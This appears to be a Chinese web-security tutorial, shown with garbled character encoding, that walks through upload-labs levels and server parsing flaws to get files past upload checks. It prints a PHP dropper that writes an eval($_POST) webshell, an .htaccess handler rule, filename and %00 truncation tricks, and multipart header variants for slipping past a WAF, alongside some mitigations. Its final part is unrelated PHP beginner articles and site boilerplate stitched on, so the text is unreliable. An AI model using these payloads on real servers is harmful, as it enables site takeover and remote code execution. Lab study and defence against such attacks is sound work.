??文件上傳漏洞是web系統(tǒng)中常見的一種功能,通過文件上傳能實(shí)現(xiàn)上傳圖片、視頻,以及其他類型的文件,但是隨著web中包含的功能越來越多,潛在的網(wǎng)絡(luò)安全風(fēng)險(xiǎn)也就越大。
??如果惡意用戶上傳了可執(zhí)行的文件或者腳本,就會(huì)導(dǎo)致網(wǎng)站被其控制甚至?xí)蛊浞?wù)器淪陷,以至于引發(fā)惡意的網(wǎng)絡(luò)安全事件。
??文件上傳漏洞是指用戶通過界面上的上傳功能上傳了一個(gè)可執(zhí)行的腳本文件,而WEB端的系統(tǒng)并未對(duì)其進(jìn)行檢測(cè)或者檢測(cè)的邏輯做的不夠好。
??通過來說文件上傳功能是沒有問題的,主要是服務(wù)器如何對(duì)上傳的文件如何進(jìn)行處理。
??若WEB未對(duì)用戶上傳的文件進(jìn)行有效的審查,若存在惡意用戶對(duì)其上傳一句話木馬,從而實(shí)現(xiàn)控制WEB網(wǎng)站的目的。
??掃描獲取上傳,會(huì)員中心頭像上傳,后臺(tái)系統(tǒng)上傳,其他途徑上傳。
??已知道的cms源碼。
??ckeditor,fckeditor,kindeditor,xxxxeditor。
??代碼審計(jì),平臺(tái)或第三方應(yīng)用。
??上傳頭像、上傳身份認(rèn)證、上傳文件以及有存在文件上傳的地方就可能存在相關(guān)的漏洞,但不是有文件上傳就一定有漏洞,但有文件上傳就能進(jìn)行測(cè)試。
??上傳文件和文件執(zhí)行是兩個(gè)東西
??漏洞分類:解析漏洞、cms漏洞、其他漏洞(編輯器漏洞、cve漏洞、安全修復(fù))
??思路:
??如果有一個(gè)網(wǎng)站,要從文件上傳的方向開始
??第一步:先看中間件,看是否存在解析漏洞/CMS/編輯器漏洞/CVE/
??如果有,如何找:
????字典掃描:掃描會(huì)員中心,文件上傳的位置
??找到后,如何利用:
????驗(yàn)證/繞過
??JS防護(hù)就是將上傳的文件進(jìn)行一個(gè)格式的驗(yàn)證,但是JS類的防護(hù)是用戶可以控制的,所以前端的所有驗(yàn)證都是不安全的。
??通過禁用界面JS處理,然后上傳1.php文件,可繞過前端檢測(cè)。關(guān)于如何禁用界面JS,可以通過安裝插件進(jìn)行一鍵禁用。在火狐的插件市場(chǎng)搜索javascript switcher。
??黑名單就是服務(wù)端明確不讓上傳的格式后綴,例如:rar、php、zip等。
??特殊解析后綴繞過是由于黑名單過濾規(guī)則不嚴(yán)謹(jǐn),在某些特定的情況下的后綴也能夠被當(dāng)作php文件進(jìn)行解析,例如PHP2、php3、php4、phtml、pht等情況。
??可以使用phtml、php3、php4、php5,當(dāng)然前提是apache服務(wù)器,同時(shí)在配置文件夾中需要有將AddType application/x-httpd-php .php .phtml .phps .php1 .php4 .pht 這樣的一段話前面的注釋刪除,重啟phpstudy讓其生效。
??通過源碼得知,禁止.asp、.aspx、.php、.jsp類型進(jìn)行上傳。
??本關(guān)可以通過上傳其他文件擴(kuò)展名進(jìn)行繞過,實(shí)現(xiàn)文件上傳。
??.htaccess文件是Apache服務(wù)器中的一個(gè)配置文件,它負(fù)責(zé)相關(guān)目錄下的網(wǎng)頁配置.通過htaccess文件,可以實(shí)現(xiàn):網(wǎng)頁301重定向、自定義404頁面、改變文件擴(kuò)展名、允許/阻止特定的用戶或者目錄的訪問、禁止目錄列表、配置默認(rèn)文檔等功能。
??通過源碼得知第三關(guān)使用的phtml被限制了,并且設(shè)定了更多的特殊解析后綴,所以使用特殊解析后綴已經(jīng)無法繞過了,這里就可以使用到 .htaccess進(jìn)行繞過測(cè)試。
??前提條件:
Apache開啟rewrite模塊
.apache配置文件為AllowOverride All(默認(rèn)為None)
.htaccess需要使用notepad++創(chuàng)建,不然創(chuàng)建不了,創(chuàng)建 .htaccess代碼:
<FilesMatch "x.png">
SetHandler application/x-httpd-php
</FilesMatch>
x.png是代碼將該目錄下文件叫x.png的文件以php進(jìn)行執(zhí)行。
??首先上傳.htaccess,其次上傳一張名叫x.png的文件,即可執(zhí)行。
??后綴大小寫是通過服務(wù)端未將后綴進(jìn)行統(tǒng)一的格式轉(zhuǎn)換,導(dǎo)致可以上傳PHP的文件,同時(shí)由于Windows系統(tǒng)對(duì)后綴大小寫并不敏感,所以當(dāng)在寫PHP的改成Php就會(huì)被當(dāng)作PHP進(jìn)行解析。
??通過源碼得知,并未對(duì)其大小進(jìn)行限制,且是由于是黑名單,只限制了不可以上傳的,那么的我們可以對(duì)php后綴進(jìn)行大小寫變形,例如:PHP、Php、pHp等。
??點(diǎn)繞過其實(shí)就是利用了Windows對(duì)文件和文件名的限制,當(dāng)將點(diǎn)放在結(jié)尾的時(shí)候,就會(huì)觸發(fā)操作系統(tǒng)的命名規(guī)范問題,所以在生成文件的時(shí)候,添加在結(jié)尾的點(diǎn)就會(huì)被去除。
??通過源碼發(fā)現(xiàn),本關(guān)并未對(duì)結(jié)尾點(diǎn)進(jìn)行檢測(cè)。那么這里就可以通過在后綴加上點(diǎn)進(jìn)行繞過,這里我使用的是之前大小寫的文件,并未修改名稱,所以不要太在意,并不是說使用大小寫可以繞過。
??通過源碼發(fā)現(xiàn)本關(guān)之前所有的繞過思路都被過濾了,但是通過源碼發(fā)現(xiàn),所有的過濾都是一次的,并未對(duì)其進(jìn)行循環(huán)過濾。也就是說源碼中提到的刪除空格,刪除點(diǎn)都是只刪除一次,那么可以在數(shù)據(jù)包中將php后綴添加. .,形成.php. .,由于只驗(yàn)證一次,所以刪除一個(gè)點(diǎn)和一個(gè)空格后就不再刪除了。
??其實(shí)空格繞過和點(diǎn)繞過是一樣的,都是利用操作系統(tǒng)的特性來進(jìn)行解析繞過。具體可以看點(diǎn)繞過的解釋。
??通過源碼發(fā)現(xiàn)并未對(duì)空格進(jìn)行限制,那么我們可以在后綴添加一個(gè)空格進(jìn)行繞過,但是在Windows系統(tǒng)中我們無法創(chuàng)建后綴帶空格的文件,但是在數(shù)據(jù)包中不會(huì)對(duì)后綴的空格進(jìn)行清除啊,那么我們這里就需要使用到BS進(jìn)行抓包,對(duì)其進(jìn)行修改,然后再進(jìn)行上傳。
??通過修改后上傳到對(duì)方服務(wù)器的時(shí)候,服務(wù)器會(huì)自動(dòng)對(duì)后面的空格清除,就實(shí)現(xiàn)了繞過。
??在window的時(shí)候如果文件名+::$DATA會(huì)把::$DATA之后的數(shù)據(jù)當(dāng)成文件流處理,不會(huì)檢測(cè)后綴名,且保持::$DATA之前的文件名,他的目的就是不檢查后綴名
??通過源碼發(fā)現(xiàn)并未對(duì)::$DATA進(jìn)行檢測(cè)。可以在后面添加::$DATA進(jìn)行繞過。
??配合解析漏洞就是利用文件上傳漏洞和相關(guān)的解析漏洞進(jìn)行結(jié)合完成攻擊,比如配合iis、nginx、apache、tomcat的解析漏洞得到上傳漏洞的實(shí)現(xiàn)。具體的看下面提到各種相關(guān)的解析漏洞。
??服務(wù)端可能存在將后綴替換為空的情況,但是這就存在一種可能就是在編輯過濾的時(shí)候只過濾了一次,所以就出現(xiàn)了可以通過雙寫就繞過的可能。
??通過源碼發(fā)現(xiàn),若上傳的文件后綴在禁止的列中,那么就將后綴替換為空,而這里又是只過濾一次,那么就可以通過雙寫進(jìn)行繞過。
這里由于過濾就是從左到右進(jìn)行匹配,不要問為什么不從右向左匹配。
??例如:pphphp
??白名單就是服務(wù)端明確可以上傳的格式后綴,例如:jpg、png、jpeg等。
??服務(wù)端MIME類型檢測(cè)是通過檢查http中包含的Content-Type字段中的值來判斷上傳文件是否合法的。
??利用Burp抓包,將報(bào)文中的Content-Type改成允許的類型
??Content-Type: image/gif(gif圖像)
??Content-Type: image/jpg(jpg圖像)
??Content-Type: image/png(png圖像)
??通過源碼中第五段分析得出本關(guān)采用了content-type進(jìn)行后端驗(yàn)證,那么通過使用BS抓包對(duì)其進(jìn)行修改content-type,然后再進(jìn)行上傳。
??%00不是代表空格,而是null,一個(gè)空字符,當(dāng)程序執(zhí)行到%00后,那么后面的數(shù)據(jù)就會(huì)停止,意思就是誤當(dāng)作結(jié)束符,把后面的數(shù)據(jù)直接忽略了,這就會(huì)導(dǎo)致漏洞產(chǎn)生。
??在文件上傳后,利用%00截?cái)啵谖募U(kuò)展名驗(yàn)證的時(shí)候,就會(huì)取文件的擴(kuò)展名進(jìn)行驗(yàn)證,但是在最后保存在本地的時(shí)候,%00就會(huì)截?cái)辔募槐4?00之前的內(nèi)容。
??%00只能用于php版本低于5.3的。這里我們需要把phpstudy切換一下版本,把magic_quotes_gpc關(guān)閉,以phpstudy為例。其他選項(xiàng)菜單—php擴(kuò)展及設(shè)置—參數(shù)開關(guān)設(shè)置—把magic_quotes_gpc關(guān)閉。
??通過源碼發(fā)現(xiàn)本關(guān)是個(gè)白名單,但是可以使用%00對(duì)路徑進(jìn)行截?cái)唷?/p>
??本關(guān)接受值從get變成了post,它倆的區(qū)別就是get會(huì)自行解碼,而post不會(huì)解碼,所以需要對(duì)%00進(jìn)行解碼。
??在BS抓包中選中%00右鍵選擇URL其次選擇網(wǎng)址解碼。
??圖片的格式在防護(hù)中通常是不會(huì)使用后綴進(jìn)行判斷的依據(jù),文件頭是文件開頭的一段二進(jìn)制碼,不同類型的圖片也就會(huì)有不同的二進(jìn)制頭。
??JPEG (jpg),文件頭:FF D8 FF E1
??PNG (png),文件頭:89 50 4E 47
??GIF (gif),文件頭:47 49 46 38
??制作圖片馬,可以使用Notepad直接打開圖片在后面添加一個(gè)PHP代碼,不過可能會(huì)出錯(cuò)。其次就是使用copy X.png /b + 1.php /a x.png 。
??上傳圖片馬,并查找路徑。制作好的圖片馬想要解析出來這個(gè)圖片,還得有這個(gè)包含漏洞。我們看到,他已經(jīng)說了,網(wǎng)站存在包含漏洞
上傳圖片馬,并查找路徑
構(gòu)造的URL:http://192.168.10.150/upload-labs/include.php?file=upload/2120221024150121.png
?? 二次渲染就是在我們上傳的圖片后,網(wǎng)站會(huì)對(duì)圖片進(jìn)行二次處理,比如對(duì)圖片的尺寸、格式、以及網(wǎng)站對(duì)圖片進(jìn)行定義的一些要求等進(jìn)行處理,并且服務(wù)器會(huì)對(duì)里面的內(nèi)容進(jìn)行二次替換更新,在處理完后,會(huì)生成一個(gè)合規(guī)的圖片在網(wǎng)站上顯示出來。
??這里其實(shí)同樣也可以使用圖片馬也就是jpg等格式,但是使用gif圖片更好。
??使用抓包軟件進(jìn)行攔截,方便查看上傳后的文件名稱。
??從網(wǎng)上找的gif圖片馬:圖片馬:
構(gòu)建的URL:http://192.168.10.150/upload-labs/include.php?file=/upload/18556.gif
??條件競(jìng)爭(zhēng)就是在源代碼中是存在校驗(yàn)的,但是校驗(yàn)是在文件上傳后,才開始校驗(yàn),也就是文件先上傳至服務(wù)器中,然后服務(wù)器會(huì)對(duì)該文件進(jìn)行校驗(yàn),當(dāng)符合的時(shí)候則會(huì)對(duì)文件進(jìn)行重命名,當(dāng)文件不符合要求的時(shí)候就對(duì)將文件進(jìn)行刪除。
??而我們則需要在服務(wù)器對(duì)文件刪除前進(jìn)行訪問,由于文件在訪問過程中,服務(wù)器是無法刪除的,所以就可以利用這個(gè)節(jié)點(diǎn)實(shí)現(xiàn)條件競(jìng)爭(zhēng)。
getimagesize函數(shù)是用于獲取圖像大小及相關(guān)信息,成功返回一個(gè)數(shù)組,失敗則返回false產(chǎn)生一條e_warning級(jí)的錯(cuò)誤信息。
通過對(duì)圖片及代碼進(jìn)行合成圖片馬,這個(gè)時(shí)候getimagesize函數(shù)既可以獲取圖片信息,文件后綴php也能夠被解析成腳本文件,從而繞過getimagesize函數(shù)的限制。
??本關(guān)存有g(shù)etimagesize函數(shù),這個(gè)函數(shù)的意思是:會(huì)對(duì)目標(biāo)文件的16進(jìn)制去進(jìn)行一個(gè)讀取,去讀取頭幾個(gè)字符串是不是符合圖片的要求的。
??使用辦法和第十三關(guān)是一樣的,前提都是需要存在相關(guān)的漏洞。
??服務(wù)器exit_imagetype()函數(shù)檢測(cè)上傳圖片類型是否為白名單圖片格式來驗(yàn)證上傳文件合法性。可以通過制作圖片馬繞過,再配合文件包含漏洞解析文件來獲取服務(wù)器配置信息。
??上傳一張圖片馬,然后使用br抓包軟件對(duì)其進(jìn)行抓包,查看上傳后的文件名稱。
?URL:http://192.168.10.150/upload-labs/include.php?file=/upload/4920221126063306.png
??解析漏洞就是指服務(wù)器應(yīng)用程序在解析某些精心構(gòu)造的后綴文件的時(shí)候,會(huì)將相關(guān)的文件解析成網(wǎng)頁的腳本,從而導(dǎo)致實(shí)現(xiàn)控制網(wǎng)站,同時(shí)大部分的解析漏洞都是由應(yīng)用程序產(chǎn)生的。
??在以. asp文件名的文件夾下的任何文件都將作為asp文件執(zhí)行。
??也就是當(dāng)目錄為XX.asp的時(shí)候,那么當(dāng)訪問下面的圖片的時(shí)候,如XX.aps/1.jpg就會(huì)被當(dāng)作ASP執(zhí)行。
??如果文件為1.asp;.jpg,由于IIS不解析;后面的內(nèi)容,使用就會(huì)把文件當(dāng)作1.asp進(jìn)行解析,同時(shí)還存在.asa、.cer、.cdx可以進(jìn)行解析。
??1)限制上傳目錄的執(zhí)行權(quán)限,不允許執(zhí)行腳本。
??2)不允許創(chuàng)建目錄。
??3)上傳的文件進(jìn)行重命名。
??在Fast-CGI開啟的狀態(tài)下,在類似1.jpg后面加上/1.php,變成/1.jpg/1.php路徑會(huì)解析成PHP文件。需要進(jìn)入php.ini里面修改cig.cgi_ pathinfo=1。
??將1.txt文本文件中的后門代碼寫入到1.jpg圖片的二進(jìn)制代碼:
copy 1.jpg/b + 1.txt/a 1.jpg
??1.txt的文件內(nèi)容為:
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[password])?>');?>
當(dāng)在圖片文件中寫入后門代碼,當(dāng)訪問這個(gè)圖片的時(shí)候加上/.php的時(shí)候就會(huì)在當(dāng)前目錄下生成一句話木馬shell.php。
??配置cgi.fix_pathinfo(php.ini中)為0并重啟php-cgi程序
??在apache1.x和apache2.x中存在解析漏洞。
??當(dāng)一個(gè)文件為1.php.yy.xx的時(shí)候就會(huì)被當(dāng)作php執(zhí)行,這是由于在apache解析文件的時(shí)候有一個(gè)原則就是,以.后面的擴(kuò)展名來解析,當(dāng)遇見不認(rèn)識(shí)的擴(kuò)展名的時(shí)候,就會(huì)向前解析,直到遇到能夠解析的后綴名為止。
??如:1.php.yy.xx,首先會(huì)解析xx,xx無法解析就會(huì)去解析yy,yy無法解析就會(huì)去解析php,那么php是能夠解析了,那么就會(huì)結(jié)束。
??這種方式多用于繞過黑名單的檢查。
??1)更新至最新版本。
??2)將上傳的文件進(jìn)行重命名。
??由于nginx默認(rèn)是用cgi解析php的,因此和iis一樣可以制作圖片馬進(jìn)行上傳。
??當(dāng)在圖片文件中寫入后門代碼,當(dāng)訪問這個(gè)圖片的時(shí)候加上/.php的時(shí)候就會(huì)在當(dāng)前目錄下生成一句話木馬shell.php。
??1)配置cgi.fix_pathinfo(php.ini中)為0并重啟php-cgi程序。
2)或如果需要使用到cgi.fix_pathinfo這個(gè)特性(例如:Wordpress),那么可以禁止上傳目錄的執(zhí)行腳本權(quán)限。 或?qū)⑸蟼鞔鎯?chǔ)的內(nèi)容與網(wǎng)站分離,即站庫分離。
3)或高版本PHP提供了security.limit_extensions這個(gè)配置參數(shù),設(shè)置security.limit_extensions=.php
??當(dāng)使用PHP-FastCGI執(zhí)行PHP時(shí),遇到url里面存在%00空字節(jié)時(shí)與FastCGI的處理不一致,導(dǎo)致可在非PHP文件中嵌入PHP代碼,通過訪問url+%00.PHP來執(zhí)行其中的PHP代碼。
??比如上傳一張圖片馬1.jpg,那么當(dāng)訪問這個(gè)圖片馬的時(shí)在1.jpg后面添加%00.php就會(huì)將圖片馬以php執(zhí)行。
??1)升級(jí)nginx版本。
??編輯器也就是在線的web編輯器,比如在搭建博客后需要發(fā)布文章,那么用來發(fā)布文章的界面就是web編輯器。當(dāng)然web編輯器有很多,如:UEDITOR(百度)、eWebEdit、FCKeditor、CKEditor(新版fck)、Kindeditor、DotNetTextBox、CuteEditor等等。
編輯器漏洞詳解
??waf繞過其實(shí)就是將數(shù)據(jù)包截獲到,對(duì)里面的內(nèi)容進(jìn)行解析,比如對(duì)文件的后綴名就判斷是否在相應(yīng)的黑名單中,文件內(nèi)容中是否存在webshell代碼。
??總的來說文件上傳都是在數(shù)據(jù)包中進(jìn)行各種操作來進(jìn)行繞過。
??Content-Disposition :一般可更改
??name:表單參數(shù)值,不能更改
??filename:文件名,可以更改
??Content-Type:文件MIME,視情況更改
??在form-data;與name=“upload_file”; filename=“2.php"之間添加大量的垃圾數(shù)據(jù),可以邊添加邊測(cè)試直到上傳上去,主要添加的垃圾數(shù)據(jù)需要在后面添加一個(gè)”;"進(jìn)行結(jié)尾。
??例如:
form-data;sadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasA; name="upload_file"; filename="2.php"
??當(dāng)然這里不單單可以插入在form-data;與name=“upload_file”; filename="2.php"之間,也可以在name=“upload_file”; 與filename="2.php"之間。但是數(shù)據(jù)不能亂插入,比如你插在2.php中,那肯定不行,一般情況下,文件名稱長(zhǎng)度都可能存在限制,并且太長(zhǎng)也上傳不上去。
??例如:
Content-Disposition: form-data; name="upload_file"; sadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasAsadasA; filename="2.php"
??符號(hào)變異也就是將單雙引號(hào)變換使用,或者單雙引號(hào)缺失一部分進(jìn)行使用,或者不使用單雙引號(hào)來進(jìn)行繞過。目前測(cè)試好像是無法通過了。
Content-Disposition: form-data; name="upload_file"; filename="2.php
Content-Disposition: form-data; name="upload_file"; filename='2.php
Content-Disposition: form-data; name="upload_file"; filename=2.php
Content-Disposition:"form-data"; name=upload_file; filename="2.php"
Content-Disposition:'form-data'; name="upload_file"; filename='2.php'
??通過換行來實(shí)現(xiàn)繞過,但是中間不能有空行。
??例如:
Content-Disposition: form-data; name="upload_file"; filename="2.
p
h
p"
??若WAF匹配文件名到分號(hào)截止,則可以繞過。
??對(duì)這三個(gè)字段進(jìn)行大小寫進(jìn)行變換,比如將name換成Name、Content-Disposition換成content-disposition等等。
??針對(duì)name和filename這兩個(gè)字段,我們可以嘗試交換name和filename的順序。(由于有規(guī)定Content-Dispositon必須在前面,因此我們不能修改該字段的內(nèi)容)
??通過設(shè)置多個(gè)參數(shù)進(jìn)行匹配,避免被匹配到。
Content-Disposition: form-data; name="upload_file";filename="2.jpg";filename="2.jpg";filename="2.jpg";filename="2.jpg";......filename="2.php";
??最全的文件上傳漏洞之WAF攔截繞過總結(jié)
??后端驗(yàn)證:針對(duì)后端驗(yàn)證的可以采用通過服務(wù)器進(jìn)行驗(yàn)證。
??后綴檢測(cè):利用黑白名單進(jìn)行過濾,當(dāng)然最好是使用白名單,黑名單有時(shí)候總歸會(huì)存在一些未想到的后綴,而白名單就相對(duì)簡(jiǎn)單一點(diǎn),只需要想放通哪些后綴即可,而且防范更好一些。
??上傳目錄:對(duì)上傳文件到的目錄可以設(shè)置一個(gè)不可執(zhí)行的權(quán)限。
??文件名:針對(duì)文件名可以自定義一些隨機(jī)數(shù)以及一些其他的內(nèi)容進(jìn)行二次修改,從而改變文件的名稱。
??內(nèi)容檢測(cè):可以使用文件頭,完整性檢測(cè),最好能夠?qū)?nèi)容的數(shù)據(jù)進(jìn)行判斷是否存在一些webxshll類似的代碼,若出現(xiàn)這類代碼,直接刪除。
??當(dāng)然防范手段還有很多,有攻有防。
HP編程語言是目前編程語言中最熱門的編程之一,PHP應(yīng)用領(lǐng)域最多的是WEB開發(fā),PHP和mysql結(jié)合可以做出完美的網(wǎng)站,目前大多WEB網(wǎng)站都會(huì)選擇PHP開發(fā),開源成本低,高效質(zhì)量好。
學(xué)習(xí)PHP編程其實(shí)比較容易,如果你學(xué)過HTML、CSS、JavaScript等前端語言將會(huì)幫助更快了解和學(xué)習(xí)PHP編程,PHP主要是可以直接嵌入HTML開發(fā)。
很多新手PHP程序員都會(huì)選擇自學(xué)PHP編程,首先,PHP配置環(huán)境很簡(jiǎn)單,有一鍵生成的開發(fā)集成環(huán)境,比如phpstudy,WampServer等。
其次,PHP語法簡(jiǎn)單容易掌握,如果你學(xué)過C語言或java編程,你就會(huì)知道PHP不需要記太多的東西,直接嵌入HTML頁面開發(fā)。
PHP輸出Hello World:
<!DOCTYPE html> <html> <body> <?php echo "Hello World!"; ?> </body> </html>
java輸出Hello World:
public class HelloWorld { public static void main(String[] args) { System.out.println("Hello World"); }}
最后,學(xué)習(xí)PHP編程很快可以進(jìn)入工作狀態(tài)。PHP需要掌握技能并不是很多,開源代碼很多都是直接復(fù)制別人的代碼,所有的PHP源代碼事實(shí)上都可以得到。
如果你目前正在自學(xué)PHP,這里推薦幾個(gè)php自學(xué)網(wǎng)站:第一PHP社區(qū)(很多技術(shù)問題),PHP中文網(wǎng)(推薦新手教程),CSDN(技術(shù)大神文章,分享技術(shù))、PHPChina開發(fā)者社區(qū)。
責(zé)任編輯:常青春科技
HP(外文名:PHP: Hypertext Preprocessor,中文名:“超文本預(yù)處理器”)是一種通用開源腳本語言。語法吸收了C語言、Java和Perl的特點(diǎn),利于學(xué)習(xí),使用廣泛,主要適用于Web開發(fā)領(lǐng)域。PHP 獨(dú)特的語法混合了C、Java、Perl以及PHP自創(chuàng)的語法。它可以比CGI或者Perl更快速地執(zhí)行動(dòng)態(tài)網(wǎng)頁。用PHP做出的動(dòng)態(tài)頁面與其他的編程語言相比,PHP是將程序嵌入到HTML(標(biāo)準(zhǔn)通用標(biāo)記語言下的一個(gè)應(yīng)用)文檔中去執(zhí)行,執(zhí)行效率比完全生成HTML標(biāo)記的CGI要高許多;PHP還可以執(zhí)行編譯后代碼,編譯可以達(dá)到加密和優(yōu)化代碼運(yùn)行使代碼運(yùn)行更快。
發(fā)完之前兩篇文章之后,突然有讀者告訴我沒有學(xué)過PHP希望我發(fā)些PHP的教程,既然有這方面的需求,那必須滿足。
首先介紹一下PHP語言:PHP是一種免費(fèi)開源的、創(chuàng)建動(dòng)態(tài)交互性站點(diǎn)的強(qiáng)有力的服務(wù)器端腳本語言,使用非常廣泛。同時(shí),對(duì)于像微軟 ASP 這樣的競(jìng)爭(zhēng)者來說,PHP 無疑是另一種高效率的選項(xiàng)。
開發(fā)工具一覽
然后,需要知道的就是PHP的學(xué)習(xí)線路(自我總結(jié)):
所以如果想要深入學(xué)習(xí)PHP至少要掌握的技巧為:HTML基礎(chǔ)(包含HTML/CSS/JS等)、PHP基本語法、數(shù)據(jù)庫基礎(chǔ)等。當(dāng)然,編程學(xué)習(xí)是一個(gè)由淺入深的過程,僅僅初步掌握以上知識(shí)是不夠的,還需要更加深入的學(xué)習(xí)和探究,我相信能看到這里的人都是具備這種精神,或者想要具備這種精神的。
磨刀不誤砍柴工,在正式學(xué)習(xí)PHP之前,我們要還需要了解一下PHP的開發(fā)工具。我就以windows平臺(tái)為例,簡(jiǎn)單介紹一下PHP 開發(fā)工具的開發(fā)工具:
PHP服務(wù)器組件非常多包括WampServer、XAMPP、AppServ、phpStudy、phpnow等,我使用的是phpStudy和XAMPP組合,XAMPP集成有Apache、MySQL以及PhpMyAdmin;
PHP IDE 也是非常多有Zend Studio、Eclipse for PHP、EasyEclipse等;
MySql管理工具常用的有:Navicat for Mysql、PhpMyAdmin,個(gè)人推薦Navicat for Mysql,不過PhpMyAdmin這工具也不錯(cuò);
至于常用的編輯器有:Notepad++、editplus、ultraedit等,筆者使用的是Notepad++,畢竟筆者喜歡相對(duì)看得過眼的,哈哈。
初步介紹的話,先介紹到這里,下一章繼續(xù)。
*請(qǐng)認(rèn)真填寫需求信息,我們會(huì)在24小時(shí)內(nèi)與您取得聯(lián)系。